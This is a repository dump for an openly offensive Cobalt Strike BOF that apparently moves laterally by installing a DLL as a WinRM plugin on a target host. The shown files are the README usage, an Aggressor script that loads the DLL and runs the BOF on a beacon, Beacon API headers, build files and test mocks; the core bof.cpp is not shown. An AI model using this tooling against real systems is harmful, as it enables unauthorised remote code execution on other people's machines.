├── bof-winrm-plugin-jump
├── packages.config
├── base
│ ├── helpers.h
│ ├── mock.h
│ └── mock.cpp
├── Makefile
├── beacon_user_data.h
├── bof-winrm-plugin-jump.vcxproj.filters
├── beacon.h
├── bof-winrm-plugin-jump.vcxproj
└── bof.cpp
├── README.md
├── LICENSE
├── bof-winrm-plugin-jump.sln
├── winrm-plugin-jump.cna
└── .gitignore
/bof-winrm-plugin-jump/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/bof-winrm-plugin-jump/base/helpers.h:
--------------------------------------------------------------------------------
1 | #ifdef __cplusplus
2 | #ifndef _DEBUG
3 | #define DFR(module, function) \
4 | DECLSPEC_IMPORT decltype(function) module##$##function;
5 |
6 | #define DFR_LOCAL(module, function) \
7 | DECLSPEC_IMPORT decltype(function) module##$##function; \
8 | decltype(module##$##function) *##function = module##$##function;
9 | #else
10 | #define DFR_LOCAL(module, function)
11 | #define DFR(module, function) \
12 | decltype(function) *module##$##function = function;
13 | #endif // end of _DEBUG
14 | #endif // end of __cplusplus
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BOF WinRM Plugin Jump
2 | Cobalt Strike BOF that leverages WinRM plugins to execute arbitrary DLLs in a target system.
3 |
4 | Example:
5 |
6 | ```
7 | beacon> winrm-plugin-jump --system --action install --dll
8 | beacon> winrm-plugin-jump --system --action call
9 | beacon> winrm-plugin-jump --system --action uninstall
10 | ```
11 |
12 | Options:
13 | - `--system `: Hostname of the target system
14 | - `--action`:
15 | - `install`: Copy the DLL to the System32 folder in the target system, register a plugin in registry and restarts WinRM service.
16 | - `call`: Calls the WinRM Put method.
17 | - `uninstall`: Unregisters the plugin from registry, deletes the DLL from System32 and restarts WinRM service.
18 | - `--dll `: Path to the DLL in this system, to be used with action install (e.g: `/home/kali/winrm-plugin.dll`)
19 |
20 | Notes:
21 | - Remote Registry service will be started if required. If changes were done, its configuration will be reverted at the end of the action.
22 | - When uninstalling, any thread still running under winprovhost.exe will end since this process will be killed.
23 |
24 | Blog post: https://falconforce.nl/exploring-winrm-plugins-for-lateral-movement
25 |
26 | References:
27 | - Microsoft official documentation about WinRM API headers: https://learn.microsoft.com/en-us/windows/win32/api/_winrm/#enumerations
28 | - Microsoft WinRM client shell example: https://github.com/microsoft/Windows-classic-samples/tree/main/Samples/Win7Samples/sysmgmt/winrm
29 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2025, FalconForce
4 |
5 | Redistribution and use in source and binary forms, with or without
6 | modification, are permitted provided that the following conditions are met:
7 |
8 | 1. Redistributions of source code must retain the above copyright notice, this
9 | list of conditions and the following disclaimer.
10 |
11 | 2. Redistributions in binary form must reproduce the above copyright notice,
12 | this list of conditions and the following disclaimer in the documentation
13 | and/or other materials provided with the distribution.
14 |
15 | 3. Neither the name of the copyright holder nor the names of its
16 | contributors may be used to endorse or promote products derived from
17 | this software without specific prior written permission.
18 |
19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
--------------------------------------------------------------------------------
/bof-winrm-plugin-jump/Makefile:
--------------------------------------------------------------------------------
1 | CFLAGS=/c /GS- /std:c++17
2 | DEBUGCFLAGS=/Zi /MTd /D_DEBUG /EHsc /std:c++17 Advapi32.lib WsmSvc.lib OleAut32.lib Ole32.lib
3 |
4 | !IF "$(PROCESSOR_ARCHITECTURE)" != "x86" && "$(PROCESSOR_ARCHITECTURE)" != "AMD64"
5 | !ERROR Only x86 and AMD64 architectures are supported or the PROCESSOR_ARCHITECTURE environment variable is not set.
6 | !ELSEIF "$(PROCESSOR_ARCHITECTURE)" == "AMD64"
7 | OUTDIR=..\x64\Release\
8 | IMDIR=x64\Release\
9 | DOUTDIR=..\x64\Debug\
10 | DIMDIR=x64\Debug\
11 | OUTEXT=.x64.o
12 | !ELSE
13 | OUTDIR=..\Release\
14 | IMDIR=Release\
15 | DIMDIR=Debug\
16 | DOUTDIR=..\Debug\
17 | OUTEXT=.x86.o
18 | !ENDIF
19 |
20 | all: *.cpp
21 | @$(MAKE) $(patsubst %.c,%.obj, $(patsubst %.cpp, %.obj, $(patsubsti %, $(IMDIR)\%, $**)))
22 | @if not exist "$(OUTDIR)" mkdir "$(OUTDIR)"
23 | copy "$(IMDIR)\*.obj" "$(OUTDIR)"
24 | del /F "$(OUTDIR)\*$(OUTEXT)"
25 | ren "$(OUTDIR)*.obj" "*$(OUTEXT)"
26 |
27 | all-debug: *.cpp
28 | @$(MAKE) $(patsubst %.c,%.exe, $(patsubst %.cpp, %.exe, $(patsubsti %, $(DOUTDIR)\%, $**)))
29 |
30 | .cpp{$(IMDIR)}.obj:
31 | @if not exist "$(IMDIR)" mkdir "$(IMDIR)"
32 | $(CPP) $(CFLAGS) /Fo"$@" $<
33 |
34 | .cpp{$(DOUTDIR)}.exe:
35 | @if not exist "$(DIMDIR)" mkdir "$(DIMDIR)"
36 | @if not exist "$(DOUTDIR)" mkdir "$(DOUTDIR)"
37 | $(CPP) $(DEBUGCFLAGS) /Fo$(DIMDIR) /Fd$(DIMDIR) /Fe"$@" $< base/mock.cpp
38 |
39 | clean:
40 | @if exist "$(DIMDIR)" rmdir /Q /S "$(DIMDIR)"
41 | @if exist "$(IMDIR)" rmdir /Q /S "$(IMDIR)"
42 | @if exist "$(OUTDIR)" rmdir /Q /S "$(OUTDIR)"
43 | @if exist "$(DOUTDIR)" rmdir /Q /S "$(DOUTDIR)"
44 |
--------------------------------------------------------------------------------
/bof-winrm-plugin-jump/beacon_user_data.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Beacon User Data (BUD)
3 | * -------------------------
4 | * Beacon User Data is a data structure that holds values which can be
5 | * passed from a User Defined Reflective Loader to Beacon.
6 | *
7 | * Cobalt Strike 4.x
8 | * ChangeLog:
9 | * 5/9/2023: initial version for 4.9
10 | */
11 | #ifndef _BEACON_USER_DATA_H
12 | #define _BEACON_USER_DATA_H
13 |
14 | #include
15 |
16 | #define DLL_BEACON_USER_DATA 0x0d
17 | #define BEACON_USER_DATA_CUSTOM_SIZE 32
18 |
19 | /* Syscalls API */
20 | typedef struct
21 | {
22 | PVOID fnAddr;
23 | PVOID jmpAddr;
24 | DWORD sysnum;
25 | } SYSCALL_API_ENTRY;
26 |
27 | typedef struct
28 | {
29 | SYSCALL_API_ENTRY ntAllocateVirtualMemory;
30 | SYSCALL_API_ENTRY ntProtectVirtualMemory;
31 | SYSCALL_API_ENTRY ntFreeVirtualMemory;
32 | SYSCALL_API_ENTRY ntGetContextThread;
33 | SYSCALL_API_ENTRY ntSetContextThread;
34 | SYSCALL_API_ENTRY ntResumeThread;
35 | SYSCALL_API_ENTRY ntCreateThreadEx;
36 | SYSCALL_API_ENTRY ntOpenProcess;
37 | SYSCALL_API_ENTRY ntOpenThread;
38 | SYSCALL_API_ENTRY ntClose;
39 | SYSCALL_API_ENTRY ntCreateSection;
40 | SYSCALL_API_ENTRY ntMapViewOfSection;
41 | SYSCALL_API_ENTRY ntUnmapViewOfSection;
42 | SYSCALL_API_ENTRY ntQueryVirtualMemory;
43 | SYSCALL_API_ENTRY ntDuplicateObject;
44 | SYSCALL_API_ENTRY ntReadVirtualMemory;
45 | SYSCALL_API_ENTRY ntWriteVirtualMemory;
46 | } SYSCALL_API;
47 |
48 | /* Beacon User Data
49 | *
50 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch
51 | * e.g. 0x040900 -> CS 4.9
52 | */
53 | typedef struct
54 | {
55 | unsigned int version;
56 | SYSCALL_API* syscalls;
57 | char custom[BEACON_USER_DATA_CUSTOM_SIZE];
58 | } USER_DATA, *PUSER_DATA;
59 |
60 | #endif
61 |
--------------------------------------------------------------------------------
/bof-winrm-plugin-jump.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.12.35521.163 d17.12
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "bof-winrm-plugin-jump", "bof-winrm-plugin-jump\bof-winrm-plugin-jump.vcxproj", "{A47530C5-2CD0-4FB5-9A03-071C538C45BE}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | UnitTest|x64 = UnitTest|x64
15 | UnitTest|x86 = UnitTest|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Debug|x64.ActiveCfg = Debug|x64
19 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Debug|x64.Build.0 = Debug|x64
20 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Debug|x86.ActiveCfg = Debug|Win32
21 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Debug|x86.Build.0 = Debug|Win32
22 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Release|x64.ActiveCfg = Release|x64
23 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Release|x64.Build.0 = Release|x64
24 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Release|x86.ActiveCfg = Release|Win32
25 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.Release|x86.Build.0 = Release|Win32
26 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.UnitTest|x64.ActiveCfg = UnitTest|x64
27 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.UnitTest|x64.Build.0 = UnitTest|x64
28 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.UnitTest|x86.ActiveCfg = UnitTest|Win32
29 | {A47530C5-2CD0-4FB5-9A03-071C538C45BE}.UnitTest|x86.Build.0 = UnitTest|Win32
30 | EndGlobalSection
31 | GlobalSection(SolutionProperties) = preSolution
32 | HideSolutionNode = FALSE
33 | EndGlobalSection
34 | EndGlobal
35 |
--------------------------------------------------------------------------------
/bof-winrm-plugin-jump/bof-winrm-plugin-jump.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 | {b74d73f4-acc9-410d-a627-90481555d13a}
18 |
19 |
20 | {8fa0224c-f4ab-4998-991b-bf2b56db2848}
21 |
22 |
23 |
24 |
25 | Source Files
26 |
27 |
28 | Source Files\base
29 |
30 |
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files\base
37 |
38 |
39 | Header Files\base
40 |
41 |
42 | Header Files
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
--------------------------------------------------------------------------------
/winrm-plugin-jump.cna:
--------------------------------------------------------------------------------
1 | beacon_command_register(
2 | "winrm-plugin-jump",
3 | "Use WinRM plugins to execute DLLs in other systems",
4 | "usage: winrm-plugin-jump --action (install|uninstall|call) --dll --system \
5 | Options:
6 | --action install Copy the DLL to the System32 folder in the target system, register a plugin
7 | in registry and restarts WinRM service.
8 | Notes:
9 | - Remote Registry service will be started if required. If changes were done,
10 | its configuration will be reverted at the end of this action.
11 |
12 | call Calls the WinRM Put method.
13 |
14 | uninstall Unregisters the plugin from registry, deletes the DLL from System32 and
15 | restarts WinRM service.
16 | Notes:
17 | - Any thread still running under winprovhost.exe will be killed.
18 | - Remote Registry service will be started if required. If changes were done,
19 | it's configuration will be reverted at the end of this action.
20 |
21 | --dll Path to the DLL in this system, to be used with action install (e.g: /home/kali/winrm-plugin.dll)
22 |
23 | --system Hostname of the target system
24 | ");
25 | alias winrm-plugin-jump
26 | {
27 | local('$bid $data $args $action $dll $system');
28 | $bid = $1;
29 |
30 | for ($i = 1; $i < size(@_); $i++)
31 | {
32 | if (@_[$i] eq "--action")
33 | {
34 | $i++;
35 | if($i >= size(@_))
36 | {
37 | berror($1, "missing --action value");
38 | return;
39 | }
40 | $action = @_[$i];
41 | }
42 | else if (@_[$i] eq "--dll")
43 | {
44 | $i++;
45 | if($i >= size(@_))
46 | {
47 | berror($1, "missing --dll path");
48 | return;
49 | }
50 | $fp = openf(@_[$i]);
51 | $dll = readb($fp, -1);
52 | closef($fp);
53 | }
54 | else if (@_[$i] eq "--system")
55 | {
56 | $i++;
57 | if($i >= size(@_))
58 | {
59 | berror($1, "missing --system value");
60 | return;
61 | }
62 | $system = @_[$i];
63 | }
64 | }
65 | btask($1, $action);
66 | btask($1, $system);
67 |
68 | $handle = openf(script_resource("x64/Release/bof.x64.o"));
69 | $data = readb($handle, -1);
70 | closef($handle);
71 |
72 | # Pack the arguments
73 | $args = bof_pack($bid, "ZbZ", $action, $dll, $system);
74 |
75 | # Execute BOF
76 | beacon_inline_execute($bid, $data, "go", $args);
77 | }
--------------------------------------------------------------------------------
/bof-winrm-plugin-jump/base/mock.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | namespace bof {
5 | namespace mock {
6 | /**
7 | * Data container class used for packing BOF's arguments.
8 | */
9 | class BofData {
10 | public:
11 | /**
12 | * Pack a variadic number of arguments.
13 | * Equivalent to the bof_pack function.
14 | *
15 | * For example, bof_pack("isz", 1, 2, "hello")
16 | * -> pack(1, 2, "hello")
17 | *
18 | * @param ... arguments
19 | */
20 | template
21 | void pack(T &&...v)
22 | {
23 | ((insert(std::forward(v))), ...);
24 | }
25 |
26 | /**
27 | * Add binary data to the argument buffer.
28 | * Equivalent to bof_pack("b", $data).
29 | *
30 | * @param buf A char pointer to the data
31 | * @param len A length to the data
32 | */
33 | void addData(const char *buf, std::size_t len);
34 |
35 |
36 | /**
37 | * << operator to allow an alternative way to build the argument buffer.
38 | *
39 | * For example: args << 123 << 32;
40 | *
41 | * @param container A BofData object
42 | * @param arg An argument
43 | */
44 | template
45 | friend BofData &operator<<(BofData &container, T arg)
46 | {
47 | container.pack(arg);
48 | return os;
49 | }
50 |
51 | /**
52 | * Return a raw argument buffer.
53 | *
54 | * @return A char pointer of raw argument buffer
55 | */
56 | char* get();
57 |
58 | /**
59 | * Get the size of the argument buffer.
60 | *
61 | * @return A size of the argument buffer
62 | */
63 | int size();
64 | private:
65 | void append(const std::vector &data);
66 | void insert(int v);
67 | void insert(short v);
68 | void insert(unsigned int v);
69 | void insert(unsigned short v);
70 | void insert(const char *v);
71 | void insert(const wchar_t *v);
72 | void insert(const std::vector& data);
73 |
74 | std::vector data;
75 | };
76 | }
77 |
78 | namespace output {
79 | /**
80 | * Data structure to store a output from BOF
81 | */
82 | struct OutputEntry {
83 | /**
84 | * The callback type. E.g. CALLBACK_OUTPUT
85 | */
86 | int callbackType;
87 |
88 | /**
89 | * The output data
90 | */
91 | std::string output;
92 |
93 | /**
94 | * Equivalence overloading.
95 | *
96 | * param other Another OutputEntry object
97 | */
98 | bool operator==(const OutputEntry& other) const {
99 | return callbackType == other.callbackType && output == other.output;
100 | }
101 | };
102 |
103 | /**
104 | * Returns the list of BOF outputs
105 | *
106 | * @return A vector of OutputEntry objects
107 | */
108 | const std::vector& getOutputs();
109 |
110 | /**
111 | * Clear the currently stored BOF outputs
112 | */
113 | void reset();
114 |
115 | /**
116 | * Pretty print an OutputEntry object.
117 | * Required by the GoogleTest.
118 | *
119 | * @param o An OutputEntry object
120 | * @param os An output stream
121 | */
122 | void PrintTo(const OutputEntry& o, std::ostream* os);
123 | }
124 |
125 | namespace valuestore {
126 | /**
127 | * Clear items in BOF Key/Value store
128 | */
129 | void reset();
130 | }
131 |
132 | namespace bud {
133 | /**
134 | * Clear the custom data buffer in Beacon User Data
135 | */
136 | void reset();
137 |
138 | /**
139 | * Set the custom data buffer in Beacon User Data
140 | *
141 | * @param data A pointer to custom data buffer
142 | */
143 | void set(const char* data);
144 | }
145 |
146 | /**
147 | * Execute a BOF with arguments
148 | *
149 | * @param entry BOF's entry point
150 | * @param ... arguments
151 | * @return A vector of OutputEntry objects
152 | */
153 | template
154 | std::vector runMocked(void (*entry)(char*, int), T &&...v) {
155 | // Reset the global output container
156 | bof::output::reset();
157 | // Pack the arguments
158 | bof::mock::BofData args;
159 | args.pack(std::forward(v)...);
160 | // Execute the entrypoint
161 | entry(args.get(), args.size());
162 | // Return the stored outputs
163 | return bof::output::getOutputs();
164 | }
165 | }
--------------------------------------------------------------------------------
/bof-winrm-plugin-jump/beacon.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Beacon Object Files (BOF)
3 | * -------------------------
4 | * A Beacon Object File is a light-weight post exploitation tool that runs
5 | * with Beacon's inline-execute command.
6 | *
7 | * Additional BOF resources are available here:
8 | * - https://github.com/Cobalt-Strike/bof_template
9 | *
10 | * Cobalt Strike 4.x
11 | * ChangeLog:
12 | * 1/25/2022: updated for 4.5
13 | * 7/18/2023: Added BeaconInformation API for 4.9
14 | * 7/31/2023: Added Key/Value store APIs for 4.9
15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue
16 | * 8/31/2023: Added Data store APIs for 4.9
17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem,
18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries
19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9
20 | */
21 |
22 | /* data API */
23 | typedef struct {
24 | char * original; /* the original buffer [so we can free it] */
25 | char * buffer; /* current pointer into our buffer */
26 | int length; /* remaining length of data */
27 | int size; /* total size of this buffer */
28 | } datap;
29 |
30 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
31 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
32 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
33 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
34 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
35 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
36 |
37 | /* format API */
38 | typedef struct {
39 | char * original; /* the original buffer [so we can free it] */
40 | char * buffer; /* current pointer into our buffer */
41 | int length; /* remaining length of data */
42 | int size; /* total size of this buffer */
43 | } formatp;
44 |
45 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
46 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
47 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
48 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
49 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
50 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
51 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
52 |
53 | /* Output Functions */
54 | #define CALLBACK_OUTPUT 0x0
55 | #define CALLBACK_OUTPUT_OEM 0x1e
56 | #define CALLBACK_OUTPUT_UTF8 0x20
57 | #define CALLBACK_ERROR 0x0d
58 |
59 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
60 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
61 |
62 |
63 | /* Token Functions */
64 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
65 | DECLSPEC_IMPORT void BeaconRevertToken();
66 | DECLSPEC_IMPORT BOOL BeaconIsAdmin();
67 |
68 | /* Spawn+Inject Functions */
69 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
70 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
71 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
72 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
73 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
74 |
75 | /* Utility Functions */
76 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
77 |
78 | /* Beacon Information */
79 | /*
80 | * ptr - pointer to the base address of the allocated memory.
81 | * size - the number of bytes allocated for the ptr.
82 | */
83 | typedef struct {
84 | char * ptr;
85 | size_t size;
86 | } HEAP_RECORD;
87 | #define MASK_SIZE 13
88 |
89 | /*
90 | * sleep_mask_ptr - pointer to the sleep mask base address
91 | * sleep_mask_text_size - the sleep mask text section size
92 | * sleep_mask_total_size - the sleep mask total memory size
93 | *
94 | * beacon_ptr - pointer to beacon's base address
95 | * The stage.obfuscate flag affects this value when using CS default loader.
96 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address)
97 | * false: beacon_ptr = allocated_buffer (A valid address)
98 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain
99 | * when the 2nd argument is set to DLL_PROCESS_ATTACH.
100 | * sections - list of memory sections beacon wants to mask. These are offset values
101 | * from the beacon_ptr and the start value is aligned on 0x1000 boundary.
102 | * A section is denoted by a pair indicating the start and end offset values.
103 | * The list is terminated by the start and end offset values of 0 and 0.
104 | * heap_records - list of memory addresses on the heap beacon wants to mask.
105 | * The list is terminated by the HEAP_RECORD.ptr set to NULL.
106 | * mask - the mask that beacon randomly generated to apply
107 | */
108 | typedef struct {
109 | char * sleep_mask_ptr;
110 | DWORD sleep_mask_text_size;
111 | DWORD sleep_mask_total_size;
112 |
113 | char * beacon_ptr;
114 | DWORD * sections;
115 | HEAP_RECORD * heap_records;
116 | char mask[MASK_SIZE];
117 | } BEACON_INFO;
118 |
119 | DECLSPEC_IMPORT void BeaconInformation(BEACON_INFO * info);
120 |
121 | /* Key/Value store functions
122 | * These functions are used to associate a key to a memory address and save
123 | * that information into beacon. These memory addresses can then be
124 | * retrieved in a subsequent execution of a BOF.
125 | *
126 | * key - the key will be converted to a hash which is used to locate the
127 | * memory address.
128 | *
129 | * ptr - a memory address to save.
130 | *
131 | * Considerations:
132 | * - The contents at the memory address is not masked by beacon.
133 | * - The contents at the memory address is not released by beacon.
134 | *
135 | */
136 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr);
137 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key);
138 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key);
139 |
140 | /* Beacon Data Store functions
141 | * These functions are used to access items in Beacon's Data Store.
142 | * BeaconDataStoreGetItem returns NULL if the index does not exist.
143 | *
144 | * The contents are masked by default, and BOFs must unprotect the entry
145 | * before accessing the data buffer. BOFs must also protect the entry
146 | * after the data is not used anymore.
147 | *
148 | */
149 |
150 | #define DATA_STORE_TYPE_EMPTY 0
151 | #define DATA_STORE_TYPE_GENERAL_FILE 1
152 |
153 | typedef struct {
154 | int type;
155 | DWORD64 hash;
156 | BOOL masked;
157 | char* buffer;
158 | size_t length;
159 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT;
160 |
161 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index);
162 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index);
163 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index);
164 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries();
165 |
166 | /* Beacon User Data functions */
167 | DECLSPEC_IMPORT char * BeaconGetCustomUserData();
168 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Ww][Ii][Nn]32/
27 | [Aa][Rr][Mm]/
28 | [Aa][Rr][Mm]64/
29 | bld/
30 | [Bb]in/
31 | [Oo]bj/
32 | [Oo]ut/
33 | [Ll]og/
34 | [Ll]ogs/
35 |
36 | # Visual Studio 2015/2017 cache/options directory
37 | .vs/
38 | # Uncomment if you have tasks that create the project's static files in wwwroot
39 | #wwwroot/
40 |
41 | # Visual Studio 2017 auto generated files
42 | Generated\ Files/
43 |
44 | # MSTest test Results
45 | [Tt]est[Rr]esult*/
46 | [Bb]uild[Ll]og.*
47 |
48 | # NUnit
49 | *.VisualState.xml
50 | TestResult.xml
51 | nunit-*.xml
52 |
53 | # Build Results of an ATL Project
54 | [Dd]ebugPS/
55 | [Rr]eleasePS/
56 | dlldata.c
57 |
58 | # Benchmark Results
59 | BenchmarkDotNet.Artifacts/
60 |
61 | # .NET Core
62 | project.lock.json
63 | project.fragment.lock.json
64 | artifacts/
65 |
66 | # ASP.NET Scaffolding
67 | ScaffoldingReadMe.txt
68 |
69 | # StyleCop
70 | StyleCopReport.xml
71 |
72 | # Files built by Visual Studio
73 | *_i.c
74 | *_p.c
75 | *_h.h
76 | *.ilk
77 | *.meta
78 | *.obj
79 | *.iobj
80 | *.pch
81 | *.pdb
82 | *.ipdb
83 | *.pgc
84 | *.pgd
85 | *.rsp
86 | *.sbr
87 | *.tlb
88 | *.tli
89 | *.tlh
90 | *.tmp
91 | *.tmp_proj
92 | *_wpftmp.csproj
93 | *.log
94 | *.vspscc
95 | *.vssscc
96 | .builds
97 | *.pidb
98 | *.svclog
99 | *.scc
100 |
101 | # Chutzpah Test files
102 | _Chutzpah*
103 |
104 | # Visual C++ cache files
105 | ipch/
106 | *.aps
107 | *.ncb
108 | *.opendb
109 | *.opensdf
110 | *.sdf
111 | *.cachefile
112 | *.VC.db
113 | *.VC.VC.opendb
114 |
115 | # Visual Studio profiler
116 | *.psess
117 | *.vsp
118 | *.vspx
119 | *.sap
120 |
121 | # Visual Studio Trace Files
122 | *.e2e
123 |
124 | # TFS 2012 Local Workspace
125 | $tf/
126 |
127 | # Guidance Automation Toolkit
128 | *.gpState
129 |
130 | # ReSharper is a .NET coding add-in
131 | _ReSharper*/
132 | *.[Rr]e[Ss]harper
133 | *.DotSettings.user
134 |
135 | # TeamCity is a build add-in
136 | _TeamCity*
137 |
138 | # DotCover is a Code Coverage Tool
139 | *.dotCover
140 |
141 | # AxoCover is a Code Coverage Tool
142 | .axoCover/*
143 | !.axoCover/settings.json
144 |
145 | # Coverlet is a free, cross platform Code Coverage Tool
146 | coverage*.json
147 | coverage*.xml
148 | coverage*.info
149 |
150 | # Visual Studio code coverage results
151 | *.coverage
152 | *.coveragexml
153 |
154 | # NCrunch
155 | _NCrunch_*
156 | .*crunch*.local.xml
157 | nCrunchTemp_*
158 |
159 | # MightyMoose
160 | *.mm.*
161 | AutoTest.Net/
162 |
163 | # Web workbench (sass)
164 | .sass-cache/
165 |
166 | # Installshield output folder
167 | [Ee]xpress/
168 |
169 | # DocProject is a documentation generator add-in
170 | DocProject/buildhelp/
171 | DocProject/Help/*.HxT
172 | DocProject/Help/*.HxC
173 | DocProject/Help/*.hhc
174 | DocProject/Help/*.hhk
175 | DocProject/Help/*.hhp
176 | DocProject/Help/Html2
177 | DocProject/Help/html
178 |
179 | # Click-Once directory
180 | publish/
181 |
182 | # Publish Web Output
183 | *.[Pp]ublish.xml
184 | *.azurePubxml
185 | # Note: Comment the next line if you want to checkin your web deploy settings,
186 | # but database connection strings (with potential passwords) will be unencrypted
187 | *.pubxml
188 | *.publishproj
189 |
190 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
191 | # checkin your Azure Web App publish settings, but sensitive information contained
192 | # in these scripts will be unencrypted
193 | PublishScripts/
194 |
195 | # NuGet Packages
196 | *.nupkg
197 | # NuGet Symbol Packages
198 | *.snupkg
199 | # The packages folder can be ignored because of Package Restore
200 | **/[Pp]ackages/*
201 | # except build/, which is used as an MSBuild target.
